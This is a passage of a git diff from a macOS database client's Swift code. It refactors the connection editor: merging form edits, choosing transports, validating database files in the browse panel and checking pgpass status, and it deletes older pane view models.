sign-in a deleted credential + // profile hands over reaches loadedRecord, as it reaches the draft. + var baseline: ConnectionDraft + var baselineEdits: ConnectionFormEdits? + var loadedRecord: DatabaseConnection? + var originalTraits: ConnectionTypeTraits? + var dirtyBaseline: ConnectionEditorEngine.TestFingerprint? + + // Keys a load could not read are never deleted; values it read are not written back unchanged. + var unreadableSecretKeys: Set = [] + var loadedSecrets: [String: String] = [:] + + var testRun: TestRun? + var lastTestedFingerprint: ConnectionEditorEngine.TestFingerprint? + var pendingTestReceipts: [UUID: TestSecretReceipt] = [:] + var pendingPastedURL: (parsed: ParsedConnectionURL, snapshot: ConnectionDraft)? + var pastedURLSnapshot: ConnectionDraft? + var isApplyingPaste = false + var pgpassLookup: PgpassLookup? + var cloudflareLogin: CloudflareAccessLogin? + var wasDownloadingCloudSQLProxy = false + var isClosing = false + var hasPlacedInitialFocus = false + var cancellables: Set = [] + + weak var window: NSWindow? + weak var undoManager: UndoManager? + var dismissAction: (() -> Void)? + var connectAction: (DatabaseConnection) -> Void = { ConnectionEditorStore.connectToDatabase($0) } + + var storage: ConnectionStorage { services.connectionStorage } + + init( + request: Request, + services: AppServices = .live, + recentConnections: RecentConnectionsStore = .shared, + listPreferences: ConnectionListPreferences = .shared, + cloudSQLProxyDownload: CloudSQLProxyDownload = .shared, + managedPolicy: any ManagedPolicyReading = ManagedPolicyReader.shared, + approvalStores: [ConnectionApprovalStore] = ConnectionApprovalStore.all + ) { + self.services = services + self.recentConnections = recentConnections + self.listPreferences = listPreferences + self.cloudSQLProxyDownload = cloudSQLProxyDownload + self.managedPolicy = managedPolicy + self.approvalStores = approvalStores + + let initialType: DatabaseType + switch request { + case .edit(let id): + connectionId = id + isNew = false + initialType = services.connectionStorage.loadConnection(id: id)?.type ?? .mysql + case .new(let type, let parsedURL): + connectionId = UUID() + isNew = true + initialType = parsedURL?.type ?? type ?? .mysql + } + let traits = ConnectionTypeTraits.live(for: initialType, pluginManager: services.pluginManager) + let draft = ConnectionDraft.new(type: initialType, traits: traits) + self.traits = traits + self.draft = draft + self.baseline = draft + self.context = EditorContext() + self.layout = EditorLayout(facets: []) + revealsAllIssues = !isNew + + load(request) + subscribe() + } + + // MARK: - Writes + + // Every edit goes through here, so layout, issues, dirty state and the test result follow in one place. + func update(_ mutate: (inout ConnectionDraft) -> Void) { + var next = draft + mutate(&next) + commit(next) + } + + func commit(_ next: ConnectionDraft) { + let normalized = ConnectionEditorEngine.normalized(next, traits) + if normalized != draft { + draft = normalized + if pastedURLSnapshot != nil, !isApplyingPaste { + dismissPastedURLNotice() + } + } + refreshDerivedState() + } + + // Each assignment is published only when it changed: every publish re-renders each view that observes the store. + func refreshDerivedState() { + let nextLayout = ConnectionEditorEngine.layout(draft, traits, context) + if nextLayout != layout { + layout = nextLayout + } + let nextIssues = ConnectionEditorEngine.issues(draft, traits, context, layout: nextLayout) + if nextIssues != issues { + issues = nextIssues + } + if let dirtyBaseline { + let dirty = dirtyFingerprint() != dirtyBaseline + if dirty != hasUnsavedChanges { + hasUnsavedChanges = dirty + } + } + if !layout.facetIDs.contains(selectedFacet) { + selectedFacet = .general + } + invalidateStaleTestResult() + startBinaryDetectionIfNeeded() + refreshPgpassStatus() + } + + func dirtyFingerprint() -> ConnectionEditorEngine.TestFingerprint { + let edits = ConnectionEditorEngine.edits(draft, traits, originalTraits: originalTraits, context) + let secrets = ConnectionEditorEngine.testFingerprint(draft, traits, originalTraits: originalTraits, context).secrets + return ConnectionEditorEngine.TestFingerprint(edits: edits, secrets: secrets) + } + + // MARK: - Issues + + func issues(for facet: ConnectionFacet) -> [FieldIssue] { + issues.filter { $0.facet == facet } + } + + func issues(for row: EditorRow) -> [FieldIssue] { + issues.filter { $0.row == row } + } + + func issue(for row: EditorRow) -> FieldIssue? { + issues.first { $0.row == row } + } + + var firstBlockingIssue: FieldIssue? { + issues.first(where: \.blocksSave) + } + + // One rule for the row, the sidebar mark and the commit bar: a pristine new form is never painted red. + func isRevealed(_ issue: FieldIssue) -> Bool { + revealsAllIssues || revealedRows.contains(issue.row) + } + + func revealedIssue(for row: EditorRow) -> FieldIssue? { + guard let issue = issue(for: row), isRevealed(issue) else { return nil } + return issue + } + + func facetHasRevealedErrors(_ facet: ConnectionFacet) -> Bool { + issues.contains { $0.facet == facet && $0.blocksSave && isRevealed($0) } + } + + func noteEdited(_ row: EditorRow) { + guard !revealsAllIssues, !revealedRows.contains(row) else { return } + revealedRows.insert(row) + } + + func revealAllIssues() { + guard !revealsAllIssues else { return } + revealsAllIssues = true + } + + // Asking why Save is off is asking to see the issue. + func reveal(_ issue: FieldIssue) { + noteEdited(issue.row) + focus(on: issue) + } + + // A control's changes count as edits of its row; a write from code, or a field handing back what it showed, does not. + func tracking(_ binding: Binding, row: EditorRow) -> Binding { + Binding( + get: { binding.wrappedValue }, + set: { newValue, transaction in + if newValue != binding.wrappedValue { + self.noteEdited(row) + } + binding.transaction(transaction).wrappedValue = newValue + } + ) + } + + var canSave: Bool { !isRecordMissing && firstBlockingIssue == nil } + + var canTest: Bool { !isTesting && !isRecordMissing && !issues.contains(where: \.blocksTest) } + + func focus(on issue: FieldIssue) { + focus(facet: issue.facet, row: issue.row) + } + + func focus(facet: ConnectionFacet, row: EditorRow) { + selectedFacet = facet + focusRequest = FocusRequest(facet: facet, row: row, token: UUID()) + } + + func focusFirstIssue() { + guard let issue = firstBlockingIssue ?? issues.first else { return } + focus(on: issue) + } + + // Spent once a row takes it, so a row that appears later never pulls the cursor back. + func didApplyFocus(_ request: FocusRequest) { + if focusRequest == request { + focusRequest = nil + } + } + + // Once per window: a new connection starts where its address goes, a saved one at its name. + func placeInitialFocusIfNeeded() { + guard !hasPlacedInitialFocus else { return } + hasPlacedInitialFocus = true + guard focusRequest == nil, selectedFacet == .general else { return } + let target = isNew + ? [EditorRow.builtIn(.host), .builtIn(.databaseFile)].first { layout.isEnabled($0) } ?? .builtIn(.name) + : .builtIn(.name) + focus(facet: .general, row: target) + } + + // MARK: - Window + + var windowTitle: String { + let name = draft.name.trimmingCharacters(in: .whitespaces) + if !name.isEmpty { return draft.name } + if !isNew, !baseline.name.isEmpty { return baseline.name } + return String(localized: "New Connection") + } + + var windowSubtitle: String { traits.displayName } + + var namePrompt: String { + ConnectionEditorEngine.fallbackName(draft, traits, context) + } + + var effectiveName: String { + ConnectionEditorEngine.effectiveName(draft, traits, context) + } + + func cancel() { + dismissAction?() + } + + // Closing the window reaps a running test's staged secrets, which only its own completion deletes otherwise. + func teardown() { + isClosing = true + cancelTest() + for receipt in Array(pendingTestReceipts.values) { + cleanupTestSecrets(receipt) + } + cloudflareLogin = nil + cancellables.removeAll() + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift b/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift index 0d2ceb8042..03a881295b 100644 --- a/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift +++ b/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift @@ -100,6 +100,69 @@ struct ConnectionFormEdits: Equatable { return result } + // Writes only what changed since `baseline`; typed properties sit over additionalFields keys, so both sides apply first. + func applied(to fresh: DatabaseConnection, since baseline: ConnectionFormEdits?) -> DatabaseConnection { + guard let baseline else { return applied(to: fresh) } + let mine = applied(to: fresh) + let theirs = baseline.applied(to: fresh) + var result = fresh + + func merge(_ keyPath: WritableKeyPath) { + if mine[keyPath: keyPath] != theirs[keyPath: keyPath] { + result[keyPath: keyPath] = mine[keyPath: keyPath] + } + } + merge(\.name) + merge(\.host) + merge(\.port) + merge(\.database) + merge(\.username) + merge(\.type) + merge(\.sslConfig) + merge(\.color) + merge(\.iconName) + merge(\.tagIds) + merge(\.groupId) + merge(\.credentialMode) + merge(\.preferredSafeModeLevel) + merge(\.aiPolicy) + merge(\.aiRules) + merge(\.externalAccess) + merge(\.redisDatabase) + merge(\.startupCommands) + merge(\.localOnly) + + // One transport at a time: a switch made here replaces the stored transports whole, and a switch another + // writer made stays whole. Another writer's switch is read from the transport the load shows, since a record + // an older build stored with two shows only the first. + if mine.switchedOnTransports != theirs.switchedOnTransports { + result.takeTransports(from: mine) + } else if fresh.switchedOnTransports.first == theirs.switchedOnTransports.first { + merge(\.cloudflareTunnelMode) + merge(\.cloudSQLProxyMode) + merge(\.socksProxyMode) + merge(\.tunnelCommandMode) + // One tunnel description: a half-merged trio would name a profile with another tunnel's settings. + if mine.sshConfig != theirs.sshConfig + || mine.sshProfileId != theirs.sshProfileId + || mine.sshTunnelMode != theirs.sshTunnelMode { + result.sshConfig = mine.sshConfig + result.sshProfileId = mine.sshProfileId + result.sshTunnelMode = mine.sshTunnelMode + } + } + // So Save and Test use the transport the editor shows, never two at once, which would connect directly. + result.keepOnlyFirstTransport() + + for key in Set(mine.additionalFields.keys).union(theirs.additionalFields.keys) + where mine.additionalFields[key] != theirs.additionalFields[key] { + result.additionalFields[key] = mine.additionalFields[key] + } + + result.aiAlwaysAllowedTools.subtract(revokedAIAlwaysAllowedTools) + return result + } + private func mergedAdditionalFields(onto existing: [String: String]) -> [String: String] { var merged = existing for id in ownedAdditionalFieldIDs { @@ -111,3 +174,45 @@ struct ConnectionFormEdits: Equatable { return merged } } + +extension DatabaseConnection { + // The SSH trio counts once, whether it forwards a port or opens a remote file. In the order the editor's load picks + // from, since an older build could store more than one. + var switchedOnTransports: [ConnectionTunnelKind] { + var kinds: [ConnectionTunnelKind] = [] + if sshTunnelMode != .disabled { kinds.append(.ssh) } + if isCloudflareEnabled { kinds.append(.cloudflare) } + if isCloudSQLProxyEnabled { kinds.append(.cloudSQLProxy) } + if isSOCKSProxyEnabled { kinds.append(.socksProxy) } + if isTunnelCommandEnabled { kinds.append(.tunnelCommand) } + return kinds + } +} + +extension DatabaseConnection { + // SSH sorts first, so it is never one of those turned off. + mutating func keepOnlyFirstTransport() { + for kind in switchedOnTransports.dropFirst() { + switch kind { + case .cloudflare: cloudflareTunnelMode = .disabled + case .cloudSQLProxy: cloudSQLProxyMode = .disabled + case .socksProxy: socksProxyMode = .disabled + case .tunnelCommand: tunnelCommandMode = .disabled + case .ssh, .remoteFile, .remoteDatabaseSession: break + } + } + } +} + +private extension DatabaseConnection { + mutating func takeTransports(from other: DatabaseConnection) { + sshConfig = other.sshConfig + sshProfileId = other.sshProfileId + sshTunnelMode = other.sshTunnelMode + cloudflareTunnelMode = other.cloudflareTunnelMode + cloudSQLProxyMode = other.cloudSQLProxyMode + socksProxyMode = other.socksProxyMode + tunnelCommandMode = other.tunnelCommandMode + additionalFields[Self.sshForwardUnixSocketPathKey] = other.additionalFields[Self.sshForwardUnixSocketPathKey] + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Support/ConnectionPresentation.swift b/apple/TablePro/Views/ConnectionForm/Support/ConnectionPresentation.swift deleted file mode 100644 index 663feca655..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Support/ConnectionPresentation.swift +++ /dev/null @@ -1,74 +0,0 @@ -import Foundation -import TableProPluginKit - -/// Pure presentation logic for a connection's plugin-declared fields. -/// -/// One place for section filtering, field visibility, default seeding and required/range -/// validation. `NetworkPaneViewModel`, `AuthPaneViewModel` and `AdvancedPaneViewModel` each -/// re-derived all of this from the same field list, and the password-hiding and visibility -/// checks disagreed on which value dictionary to read. Feeding one flat value dictionary makes a -/// cross-section `visibleWhen` rule resolve, and gives `hidesPassword` a single answer. -struct ConnectionPresentation { - /// Every additional field the plugin declares for the type, all sections. - let fields: [ConnectionField] - /// The merged values across all sections, keyed by field id. - let values: [String: String] - /// The app-side snapshot flag: this plugin's form never offers the built-in password. - let hidesBuiltInPassword: Bool - - init(fields: [ConnectionField], values: [String: String], hidesBuiltInPassword: Bool = false) { - self.fields = fields - self.values = values - self.hidesBuiltInPassword = hidesBuiltInPassword - } - - func fields(in section: FieldSection) -> [ConnectionField] { - fields.filter { $0.section == section } - } - - func isVisible(_ field: ConnectionField) -> Bool { - fields.isVisible(field, forValues: values) - } - - func visibleFields(in section: FieldSection) -> [ConnectionField] { - fields(in: section).filter(isVisible) - } - - var hidesPassword: Bool { - hidesBuiltInPassword || fields.hidesPassword(forValues: values) - } - - var hidesUsername: Bool { - fields.hidesUsername(forValues: values) - } - - /// The default value for every field, optionally one section. Replaces the per-view-model - /// seeding loops in `resetForType` and the default half of `load(from:)`. - func defaultValues(in section: FieldSection? = nil) -> [String: String] { - var seeded: [String: String] = [:] - for field in fields where section == nil || field.section == section { - if let value = field.defaultValue { - seeded[field.id] = value - } - } - return seeded - } - - /// Required-empty and out-of-range issues for a section's visible fields, in the words the user - /// needs. `excludingRequired` skips ids a linked credential profile supplies at connect, so an - /// empty copy of a profile field does not block Save. - func validationIssues(in section: FieldSection, excludingRequired excluded: Set = []) -> [String] { - var issues: [String] = [] - // Content fields (loadable extensions, attached databases) carry their own editors and - // validators, so the generic required/range check skips them. - let visible = visibleFields(in: section).filter { $0.content == .plain } - for field in visible where field.isRequired && !excluded.contains(field.id) { - let value = values[field.id] ?? field.defaultValue ?? "" - if value.trimmingCharacters(in: .whitespaces).isEmpty { - issues.append(String(format: String(localized: "%@ is required"), field.label)) - } - } - issues += visible.compactMap { $0.rangeIssue(in: values[$0.id] ?? "") } - return issues - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Support/DatabaseFileButtons.swift b/apple/TablePro/Views/ConnectionForm/Support/DatabaseFileButtons.swift deleted file mode 100644 index ad53cb4610..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Support/DatabaseFileButtons.swift +++ /dev/null @@ -1,53 +0,0 @@ -// -// DatabaseFileButtons.swift -// TablePro -// - -import AppKit -import SwiftUI - -/// Browse… and New… beside a database file path, for every field that names the file a driver opens. -/// -/// Two buttons rather than one pull-down: with only two choices the HIG prefers plain buttons, and a -/// menu would hide the one people could not find. New… appears only for a driver that creates a -/// missing file, since naming one for a driver that refuses it would only fail at connect. -struct DatabaseFileButtons: View { - let type: DatabaseType - @Binding var path: String - - private var newFileExtensions: [String] { - PluginManager.shared.newDatabaseFileExtensions(for: type) - } - - var body: some View { - Button(String(localized: "Browse…")) { - Task { await browse() } - } - .controlSize(.small) - .help(String(localized: "Choose an existing database file")) - .accessibilityIdentifier("connection-form-file-browse") - - if !newFileExtensions.isEmpty { - Button(String(localized: "New…")) { - Task { await nameNew() } - } - .controlSize(.small) - .help(String(localized: "Name a new database file, created when you connect")) - .accessibilityIdentifier("connection-form-file-new") - } - } - - private func browse() async { - let chosen = await DatabaseFilePanel.chooseExisting(for: type, currentPath: path, in: NSApp.keyWindow) - if let chosen { path = chosen } - } - - private func nameNew() async { - let chosen = await DatabaseFilePanel.nameNew( - extensions: newFileExtensions, - currentPath: path, - in: NSApp.keyWindow - ) - if let chosen { path = chosen } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Support/DatabaseFilePanel.swift b/apple/TablePro/Views/ConnectionForm/Support/DatabaseFilePanel.swift index 1951adafd3..59103a20be 100644 --- a/apple/TablePro/Views/ConnectionForm/Support/DatabaseFilePanel.swift +++ b/apple/TablePro/Views/ConnectionForm/Support/DatabaseFilePanel.swift @@ -6,13 +6,9 @@ import AppKit import UniformTypeIdentifiers -/// The two panels behind a database file field: Browse… picks a file that exists, New… names one -/// that does not. -/// -/// An open panel has no name field, so it cannot reach a file that is not there yet. A driver that -/// creates its file on connect needs the save panel too, and the save panel only records the path: -/// the file is made by the driver at connect, so confirming Replace on an existing database leaves -/// it as it was. +// Choose… picks a file that exists, New… names one that does not. An open panel has no name field, so a driver +// that creates its file on connect needs the save panel too; it only records the path, so confirming Replace on an +// existing database leaves it as it was. @MainActor internal enum DatabaseFilePanel { internal static func chooseExisting( @@ -25,10 +21,10 @@ internal enum DatabaseFilePanel { panel.canChooseDirectories = false panel.directoryURL = DatabaseFileLocation(path: currentPath).existingFolder - let rule = DatabaseFileBrowseRule(type: type, extensions: PluginManager.shared.fileExtensions(for: type)) - let filter = PanelEnableFilter(isEnabled: rule.isEnabled) + let rule = DatabaseFileBrowseRule.forType(type, extensions: PluginManager.shared.fileExtensions(for: type)) + let filter = PanelEnableFilter(isEnabled: rule.isEnabled, validate: rule.validate) panel.delegate = filter - let response = await present(panel, in: window) + let response = await EditorFilePanel.present(panel, in: window) withExtendedLifetime(filter) {} guard response == .OK, let url = panel.url else { return nil } @@ -44,12 +40,10 @@ internal enum DatabaseFilePanel { panel.allowedContentTypes = DatabaseFileTypes.contentTypes(forExtensions: extensions) panel.allowsOtherFileTypes = false panel.canCreateDirectories = true - /// Tags are applied by whoever writes the file, and nothing writes it until the driver - /// connects, so tags typed here would be dropped. + // Nothing writes the file until the driver connects, so tags typed here would be dropped. panel.showsTagField = false panel.prompt = String(localized: "Create") - /// The system's Replace alert says the file will be overwritten, and it will not be: the path is - /// only recorded, so the message says what happens before the alert can say otherwise. + // The system's Replace alert says the file will be overwritten, and it will not be. panel.message = String( localized: "Choose a name and location for the new database. TablePro creates it when you connect, and opens a file that already exists as it is." ) @@ -58,65 +52,103 @@ internal enum DatabaseFilePanel { panel.directoryURL = location.existingFolder panel.nameFieldStringValue = location.suggestedNewFileName(preferredExtension: extensions.first) - guard await present(panel, in: window) == .OK, let url = panel.url else { return nil } + guard await EditorFilePanel.present(panel, in: window) == .OK, let url = panel.url else { return nil } return url.path(percentEncoded: false) } - - private static func present(_ panel: NSSavePanel, in window: NSWindow?) async -> NSApplication.ModalResponse { - guard let window else { return await panel.begin() } - return await panel.presentAsSheet(for: window) - } } -/// Which items Browse… lets someone choose for a database file field. -/// -/// Matched by extension first, which settles most of a folder without reading anything, then by the -/// file's own bytes when they are on this Mac, so a SQLite database saved with no extension or under -/// another app's (a browser's `History`, a `.gpkg`) can still be picked. A type that declares no -/// extensions keeps every file, because there is nothing to match against. +// Which items Choose… offers for a database file field, decided from the name and the file's type only: AppKit asks +// on the main thread while the panel browses. A file with one of the driver's extensions is enabled, one another +// driver claims is not, and one whose name says nothing stays enabled, since only its bytes can tell; `validate` reads +// them once the file is picked. A type that declares no extensions keeps every file. A plain folder stays enabled so +// the panel can be navigated; a package is a file to the user and is matched like one. internal struct DatabaseFileBrowseRule: Sendable { private let type: DatabaseType + private let typeName: String private let extensions: Set + private let otherDriversExtensions: Set private let classify: @Sendable (URL) -> DatabaseType? + private let isReadable: @Sendable (URL) -> Bool internal init( type: DatabaseType, extensions: [String], - classify: @escaping @Sendable (URL) -> DatabaseType? = DatabaseFileBrowseRule.classifyIfQuick + otherDriversExtensions: [String] = [], + typeName: String? = nil, + classify: @escaping @Sendable (URL) -> DatabaseType? = { DatabaseFileClassifier.classify($0, access: .withoutWaiting) }, + isReadable: @escaping @Sendable (URL) -> Bool = { DatabaseFileClassifier.isReadableWithoutWaiting($0) } ) { self.type = type + self.typeName = typeName ?? type.rawValue self.extensions = Set(extensions.map(Self.normalized).filter { !$0.isEmpty }) + self.otherDriversExtensions = Set(otherDriversExtensions.map(Self.normalized).filter { !$0.isEmpty }) self.classify = classify + self.isReadable = isReadable + } + + @MainActor + internal static func forType(_ type: DatabaseType, extensions: [String]) -> DatabaseFileBrowseRule { + let claimed = PluginManager.shared.allRegisteredFileExtensions.filter { $0.value != type }.map(\.key) + return DatabaseFileBrowseRule( + type: type, + extensions: extensions, + otherDriversExtensions: claimed, + typeName: type.displayName + ) } - /// A plain folder stays enabled so the panel can be navigated. A package is a file to the user, - /// so it is matched like one. internal func isEnabled(_ url: URL) -> Bool { - let values = try? url.resourceValues(forKeys: [.isDirectoryKey, .isPackageKey]) + let values = try? url.resourceValues(forKeys: [.isDirectoryKey, .isPackageKey, .fileResourceTypeKey]) if values?.isDirectory == true, values?.isPackage != true { return true } + if let kind = values?.fileResourceType, Self.blockingKinds.contains(kind) { return false } guard !extensions.isEmpty else { return true } - if extensions.contains(Self.normalized(url.pathExtension)) { return true } - return classify(url) == type + if matchesExtension(url) { return true } + if otherDriversExtensions.contains(Self.normalized(url.pathExtension)) { return false } + return values?.fileResourceType == .regular && PanelFileName.leavesKindOpen(url) + } + + // The person picked the file, which grants the read. One whose bytes are not on this Mac yet is let through: the + // driver names a wrong file when it opens it. + internal func validate(_ url: URL) throws { + guard !extensions.isEmpty, !matchesExtension(url) else { return } + let isFolder = (try? url.resourceValues(forKeys: [.isDirectoryKey]))?.isDirectory == true + if !isFolder { + guard classify(url) != type else { return } + guard isReadable(url) else { return } + } + throw DatabaseFilePanelError.notADatabase(fileName: url.lastPathComponent, typeName: typeName) } - internal static func classifyIfQuick(_ url: URL) -> DatabaseType? { - guard PanelEnableFilter.isQuickToRead(url) else { return nil } - return DatabaseFileClassifier.classify(url) + private func matchesExtension(_ url: URL) -> Bool { + extensions.contains(Self.normalized(url.pathExtension)) } + // A driver opening one of these waits forever, whatever its name says. + private static let blockingKinds: Set = [.namedPipe, .socket, .characterSpecial, .blockSpecial] + private static func normalized(_ fileExtension: String) -> String { fileExtension.trimmingCharacters(in: CharacterSet(charactersIn: ". ")).lowercased() } } -/// What the path already in a database file field says about where a panel should open. +private enum DatabaseFilePanelError: LocalizedError { + case notADatabase(fileName: String, typeName: String) + + var errorDescription: String? { + switch self { + case .notADatabase(let fileName, let typeName): + return String(format: String(localized: "“%1$@” isn’t a database %2$@ can open."), fileName, typeName) + } + } +} + +// What the path already in a database file field says about where a panel should open. internal struct DatabaseFileLocation { private let fileURL: URL? private let isFolder: Bool private let fileManager: FileManager - /// Only an absolute path, after `~` is expanded, names a place. A relative one would resolve - /// against the app's working directory, which the user never chose. + // Only an absolute path names a place: a relative one would resolve against the app's working directory. internal init(path: String, fileManager: FileManager = .default) { let trimmed = path.trimmingCharacters(in: .whitespacesAndNewlines) let expanded = (trimmed as NSString).expandingTildeInPath @@ -128,7 +160,6 @@ internal struct DatabaseFileLocation { self.fileManager = fileManager } - /// The folder the path names, or the one holding the file it names. internal var existingFolder: URL? { guard let fileURL else { return nil } if isFolder { return fileURL } @@ -140,8 +171,7 @@ internal struct DatabaseFileLocation { return folder } - /// The name already typed, when nothing exists there yet, so New… confirms what the field says. - /// Otherwise "Untitled", which is what a new document is called until someone names it. + // The name already typed when nothing exists there yet, so New… confirms what the field says; else "Untitled". internal func suggestedNewFileName(preferredExtension: String?) -> String { if let fileURL, !isFolder, existingFolder != nil, !fileManager.fileExists(atPath: fileURL.path) { return fileURL.lastPathComponent diff --git a/apple/TablePro/Views/ConnectionForm/Support/FilePathConnectionFieldRow.swift b/apple/TablePro/Views/ConnectionForm/Support/FilePathConnectionFieldRow.swift deleted file mode 100644 index ebe0a359b4..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Support/FilePathConnectionFieldRow.swift +++ /dev/null @@ -1,27 +0,0 @@ -// -// FilePathConnectionFieldRow.swift -// TablePro -// - -import SwiftUI -import TableProPluginKit - -struct FilePathConnectionFieldRow: View { - let field: ConnectionField - @Binding var value: String - let onBrowse: () -> Void - - static func isFilePathField(_ field: ConnectionField) -> Bool { - field.fieldType == .text && field.id.hasSuffix("FilePath") - } - - var body: some View { - HStack { - ConnectionFieldRow(field: field, value: $value) - Button(String(localized: "Browse…")) { - onBrowse() - } - .controlSize(.small) - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Support/PgpassStatus.swift b/apple/TablePro/Views/ConnectionForm/Support/PgpassStatus.swift new file mode 100644 index 0000000000..afd395be20 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Support/PgpassStatus.swift @@ -0,0 +1,24 @@ +// +// PgpassStatus.swift +// TablePro +// + +import Foundation +import TableProUtilities + +enum PgpassStatus { + case notChecked + case fileNotFound + case badPermissions + case matchFound + case noMatch + + static func check(host: String, port: Int, database: String, username: String) -> PgpassStatus { + guard PgpassReader.fileExists() else { return .fileNotFound } + guard PgpassReader.filePermissionsAreValid() else { return .badPermissions } + if PgpassReader.resolve(host: host, port: port, database: database, username: username) != nil { + return .matchFound + } + return .noMatch + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Support/PluginFieldRendering.swift b/apple/TablePro/Views/ConnectionForm/Support/PluginFieldRendering.swift deleted file mode 100644 index a3d1e19420..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Support/PluginFieldRendering.swift +++ /dev/null @@ -1,37 +0,0 @@ -// -// PluginFieldRendering.swift -// TablePro -// - -import Foundation -import TableProPluginKit - -@MainActor -enum PluginFieldRendering { - static func visibleFields( - for type: DatabaseType, - section: FieldSection, - values: [String: String] - ) -> [ConnectionField] { - let fields = PluginManager.shared.additionalConnectionFields(for: type) - .filter { $0.section == section } - return fields.filter { isFieldVisible($0, type: type, values: values) } - } - - static func isFieldVisible( - _ field: ConnectionField, - type: DatabaseType, - values: [String: String] - ) -> Bool { - PluginManager.shared.additionalConnectionFields(for: type) - .isVisible(field, forValues: values) - } - - static func defaultFieldValue( - for fieldId: String, - type: DatabaseType - ) -> String { - let registry = PluginManager.shared.additionalConnectionFields(for: type) - return registry.first { $0.id == fieldId }?.defaultValue ?? "" - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/AIRulesPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/AIRulesPaneViewModel.swift deleted file mode 100644 index acad00c3e8..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/AIRulesPaneViewModel.swift +++ /dev/null @@ -1,23 +0,0 @@ -// -// AIRulesPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation - -@MainActor -final class AIRulesPaneViewModel: ObservableObject { - @Published var rules: String = "" - - @Published var coordinator: WeakCoordinatorRef? - - func load(from connection: DatabaseConnection) { - rules = connection.aiRules ?? "" - } - - var trimmedRules: String? { - let trimmed = rules.trimmingCharacters(in: .whitespacesAndNewlines) - return trimmed.isEmpty ? nil : rules - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/AdvancedPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/AdvancedPaneViewModel.swift deleted file mode 100644 index a0bad8af07..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/AdvancedPaneViewModel.swift +++ /dev/null @@ -1,153 +0,0 @@ -// -// AdvancedPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation -import TableProPluginKit -import TableProRedisCore - -@MainActor -final class AdvancedPaneViewModel: ObservableObject { - @Published var additionalFieldValues: [String: String] = [:] - @Published var startupCommands: String = "" - @Published var preConnectScript: String = "" - @Published var postDisconnectScript: String = "" - @Published var scriptTimeoutSeconds: Int? - @Published var externalAccess: ExternalAccessLevel = .readOnly - @Published var localOnly: Bool = false - @Published var aiPolicy: AIConnectionPolicy? - @Published private(set) var aiAlwaysAllowedTools: [String] = [] - @Published private(set) var revokedAIAlwaysAllowedTools: Set = [] - - @Published var coordinator: WeakCoordinatorRef? - - /// The extensions the connection held when the form opened. Only what the person adds or changes - /// here counts as approved on this Mac, so saving an imported connection without touching its - /// list approves nothing. - private(set) var initialExtensions: [LoadableExtension] = [] - - var advancedFields: [ConnectionField] { - allAdvancedFields.filter { $0.content == .plain } - } - - /// The extension list the form shows for this type and these values, if any. - var extensionListField: ConnectionField? { - allAdvancedFields.first { $0.content == .loadableExtensions && isFieldVisible($0) } - } - - var attachedDatabaseListField: ConnectionField? { - allAdvancedFields.first { $0.content == .attachedDatabases && isFieldVisible($0) } - } - - var editedExtensions: [LoadableExtension] { - let initial = Set(initialExtensions) - return currentExtensions.filter { !initial.contains($0) } - } - - var validationIssues: [String] { - var issues: [String] = coordinator?.value?.presentation.validationIssues(in: .advanced) ?? [] - if let extensionIssue { - issues.append(extensionIssue) - } - if let attachedDatabaseIssue { - issues.append(attachedDatabaseIssue) - } - if let scriptTimeoutSeconds, !ConnectionScriptRunner.timeoutSecondsRange.contains(scriptTimeoutSeconds) { - issues.append(String(localized: "Script timeout must be between 1 and 300 seconds.")) - } - return issues - } - - private var allAdvancedFields: [ConnectionField] { - guard let type = coordinator?.value?.network.type else { return [] } - return PluginManager.shared.additionalConnectionFields(for: type) - .filter { $0.section == .advanced } - } - - private var currentExtensions: [LoadableExtension] { - guard let field = extensionListField else { return [] } - return (try? LoadableExtensionList.decode(additionalFieldValues[field.id])) ?? [] - } - - private var attachedDatabaseIssue: String? { - guard let field = attachedDatabaseListField else { return nil } - do { - try AttachedDatabaseList.validate(AttachedDatabaseList.decode(additionalFieldValues[field.id])) - return nil - } catch let error as AttachedDatabaseError { - return error.failureReason - } catch { - return error.localizedDescription - } - } - - private var extensionIssue: String? { - do { - try LoadableExtensionPreflight.validate(currentExtensions) - return nil - } catch let error as LoadableExtensionError { - return error.failureReason - } catch { - return error.localizedDescription - } - } - - func isFieldVisible(_ field: ConnectionField) -> Bool { - let type = coordinator?.value?.network.type ?? .mysql - let values = coordinator?.value?.allAdditionalFieldValues ?? additionalFieldValues - return PluginFieldRendering.isFieldVisible(field, type: type, values: values) - } - - func resetForType(_ newType: DatabaseType) { - var values: [String: String] = [:] - for field in PluginManager.shared.additionalConnectionFields(for: newType) - where field.section == .advanced - { - if let defaultValue = field.defaultValue { - values[field.id] = defaultValue - } - } - additionalFieldValues = values - } - - func load(from connection: DatabaseConnection) { - var values: [String: String] = [:] - let allFields = PluginManager.shared.additionalConnectionFields(for: connection.type) - for field in allFields where field.section == .advanced { - if let value = connection.additionalFields[field.id] { - values[field.id] = value - } else if let defaultValue = field.defaultValue { - values[field.id] = defaultValue - } - } - if allFields.contains(where: { $0.id == RedisDatabaseIndex.fieldName && $0.section == .advanced }) { - values[RedisDatabaseIndex.fieldName] = String(connection.configuredRedisDatabaseIndex) - } - additionalFieldValues = values - initialExtensions = allFields - .filter { $0.content == .loadableExtensions } - .flatMap { (try? LoadableExtensionList.decode(connection.additionalFields[$0.id])) ?? [] } - startupCommands = 